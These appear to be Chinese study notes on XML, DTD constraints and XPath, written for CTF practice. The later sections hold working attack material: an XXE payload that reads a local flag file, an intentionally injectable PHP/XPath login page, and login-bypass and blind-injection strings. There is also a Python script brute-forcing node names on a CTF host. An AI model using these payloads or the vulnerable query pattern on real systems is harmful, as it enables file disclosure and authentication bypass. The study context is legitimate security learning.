XML
概念
Extensible Markup Language可扩展标记语言
可扩展:标签可扩展
功能:存储数据
1.作为配置文件 2.在网络中传输
与html的区别
1.xml标签自定义,html标签预定义
2.xml语法严格,html语法松散
3.xml存储数据,html展示数据
基本语法
1.后缀名 .xml
2.第一行必须定义为文档声明(甚至不能有空行)
3.文档中有且仅有一个根标签
4.属性值必须使用引号引起
5.标签必须正确关闭,闭合or单标签
组成部分
1.文档声明
<?xml 属性列表 ?>
属性列表:
1)version:版本号,必须的属性
2)encoding:编码方式,和文件格式要统一,idea等高级开发工具可以自己识别
3)standalone:是否独立
yes:不依赖其他文件
no:依赖其他文件
2.指令
结合css样式解析xml文件
<?xml-stylesheet type="text/css" href="a.css" ?>
3.标签
规则:
可以包含字母、数字以及其他的字符
不能以数字或者标点符号开头
不能以字母xml(XML Xml等)开头
不能包含空格
4.属性
id值唯一
5.文本
CDATA区:该区域中数据原样展示
<![CDATA[数据]]>
约束
规定xml文档的书写规则
DTD约束
参考:
https://blog.csdn.net/ggGavin/article/details/51532756
document type definition 文档类型定义
可以通过引入DTD文件,约束xml的标签
XML文件种引入DTD文件
内部DTD文档 (将约束规则定义在xml文档中)
<!DOCTYPE 根元素 [定义内容]>
外部DTD文档 (将约束规则定义在外部dtd文件中)
SYSTEM -- 引入的DTD文件是本地的
<!DOCTYPE 根元素 SYSTEM "DTD文件路径"
PUBLIC --引入的DTD来自网络
<!DOCTYPE 根元素 PUBLIC "DTD文件URL"
栗子
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE 班级 SYSTEM "xxx.dtd">
基本语法
<!ELEMENT NAME CONTENT>
ELEMENT 关键字
NAME 元素名称
CONTENT 元素类型
(1)EMPTY——表示该元素不能包含子元素和文本,但可以有属性。
(2)ANY——表示该元素可以包含任何在该DTD中定义的元素内容
(3)#PCDATA——可以包含任何字符数据,但是不能在其中包含任何子元素
组合类型
符号 | 用途 | 示例 | 示例说明 |
---|---|---|---|
() | 给元素分类 | (大佬 | 大腿),(菜鸟 |
| | 在列出的对象中选择一个 | (大佬 | 菜鸡) |
+ | 该对象必须出现一次或多次 | (大佬+) | 大佬必须出现且可以出现多个 |
* | 该对象可以出现0次或多次 | (大佬*) | 大佬可以出现两次到多次 |
? | 该对象必须出现0次或1次 | (大佬?) | 大佬可出现/不出现,若出现只能一次 |
, | 对象必须按指定的顺序出现 | (大佬,大腿,菜鸟,菜鸡) | 必须按顺序同时出现 |
栗子
<!ELEMENT students (student+)>
<!ELEMENT student (name,age)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
外部文档
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE students SYSTEM "student.dtd">
<students>
<student num="001">
<name>A</name>
<age>18</age>
</student>
</students>
内部文档
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE students[
<!ELEMENT students (student+)>
<!ELEMENT student (name,age)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
]>
<students>
<student>
<name>小A</name>
<age>18</age>
</student>
</students>
根元素为students,含有student这个子元素,student出现一次或多次
student的子元素为name,age
name下无元素,#PCDATA表示名字可以放任意文本
属性定义
<!ATTLIST 元素名称
属性名称 类型 属性特点
...
>
属性类型
CDATA 表示属性值可以是任何字符(包括中文和数字)
ID 表示属性值必须唯一,但属性值不能以数字开头
IDREF/IDREFS 属性值指向文档中其他地方声明的ID类型的值
Enumerated 属性的值必须在列出的值范围内
ENTITY/ENTITIES 实体
引用实体(定义和引用):
<!ENTITY 实体名称 "实体内容">
&实体名称;
参数实体
<!ENTITY % 实体名称 "实体内容">
%实体名称
属性特点
#REQUIRED 该属性必须给出
#IMPLIED 该属性可给可不给
#FIXED value 该属性必须给一个固定value值
Default value 该属性若没有值就分配一个默认值
栗子们
<!ATTLIST 木偶
姓名 CDATA #REQUIRED
>
<!ATTLIST person
性别 (男|女) #REQUIRED
>
schema约束
解析
操作xml:
1.解析(读取):将文档中的数据读到内存中
2.写入:将内存中的数据保存到xml文档中,持久化存储
解析xml:
1.DOM:将标记语言文档一次性加载进内存,在内存中形成DOM树
操作方便、可以对文档进行CRUD操作 -- 占内存
2.SAX:逐行读取,基于事件驱动
不占内存 -- 只能读取,不能增删改
对象
Jsoup:工具类,可以解析html或xml文档,返回Document
Document:文档对象,代表内存中的dom树
Elements:
xml解析器
XML注入
也是利用闭合
XXE漏洞
利用DTD内部实体引用
一款通用payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>111</password></user>
&xxe将被SYSTEM "file:///flag"替换执行
外部实体引用
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
CTF实例:
NCTF2019 Fake XML cookbook
XPath
这是一门在XML文档中查找信息的语言
七种类型节点:元素、属性、文本、命名空间、处理指令、注释、文档(根)节点
选取节点
| 表达式 | 描述 |
| --- | --- |
| nodename | 选取此节点的所有子节点 |
| / | 从根节点选取 |
| // | 从匹配选择的当前节点选择文档中的节点 |
| . | 选取当前节点 |
| .. | 选取当前节点的父节点 |
| @ | 选取属性 |
路径表达式 | 结果 |
---|---|
students | 选取student元素的所有子节点 |
/students | 选取根元素student(假如路径起始于/,则此路径始终代表到某元素的绝对路径) |
students/student | 选取属于students的子元素的所有student元素 |
//student | 选取所有student子元素 |
students//student | 选取属于students元素的后代的所有student元素 |
//@age | 选取名为lang的所有属性 |
运算符
| 计算两个节点集
or 或
选取所有age节点
/students/student/age
选取第一个student的age
/students/student[1]/age
选取age节点中的文本
/students/student/age/text()
选取age大于18的student
/students/student[age>18]
XPath注入
参考
https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/
搭建起一个测试页面
user.xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>admin</username>
<password type="md5">0192023a7bbd73250516f069df18b500</password>
</user>
<user>
<id>2</id>
<username>jack</username>
<password type="md5">1d6c1e168e362bc0092f247399003a88</password>
</user>
<user>
<id>3</id>
<username>tony</username>
<password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
</user>
</users>
<secret>
<flag>flag{My_f1rst_xp4th_iNjecti0n}</flag>
</secret>
</root>
index.php
<?php
$xml = simplexml_load_file('user.xml');
$name = $_GET['u'];
$pwd = md5($_GET['p']); //密码经过md5加密
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result = $xml->xpath($query);
if($result) {
echo '<h2>Welcome</h2>';
foreach ($result as $key => $value) {
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}
关注查询语句:
"/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']"
name和password通过GET方式接收
万能密码
知道用户名
?u=admin' or '1'&p=
未知用户名
?u=' or '1' or '1&p=
得到
所以利用方法也是合理的构造闭合
节点遍历
?u=admin'] | //* | //*['&p=
得到
/root/users/user[username/text()='admin'] | //* | //*['' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
有输出的地方为空
盲注猜解节点
判断根节点数量
?u=' or count(/)=1 or '1
获取名字长度
?u=' or string-length(name(/*[1]))=1 or '1
逐个字符获取名字
?u='or substring(name(/*[1]), 1, 1)='a' or '1
?name=1' or substring(name(/*[1]),1,1)='r' or '1'='1&pwd=fake
?u='or substring(name(/root/users/user/*[1]), 1, 1)='u' or '1
逐个猜解出节点
一般也是用脚本
栗题:NPUCTF-ezlogin
import requests
import re
r = requests.session()
lib = "abcdefghijklmnopqrstuvwxyz1234567890"
p = '<input type="hidden" id="token" value="(.*)" />'
headers = {'Content-Type':'application/xml'}
for a in range(1,50):
for b in lib:
url = 'http://aca6955d-31aa-482c-9c3a-82b70bf9d9d9.node3.buuoj.cn/'
token=re.findall(p, r.get(url).text)[0]
data = "<username>' or substring(name(/*[1]), "+\
str(a)+", 1)='"+str(b)+"' or '1</username><password>1</password><token>"+token+"</token>"
result = r.post(url=url+'login.php', headers=headers, data=data).text
if '非法操作!' in result:
print(b)
break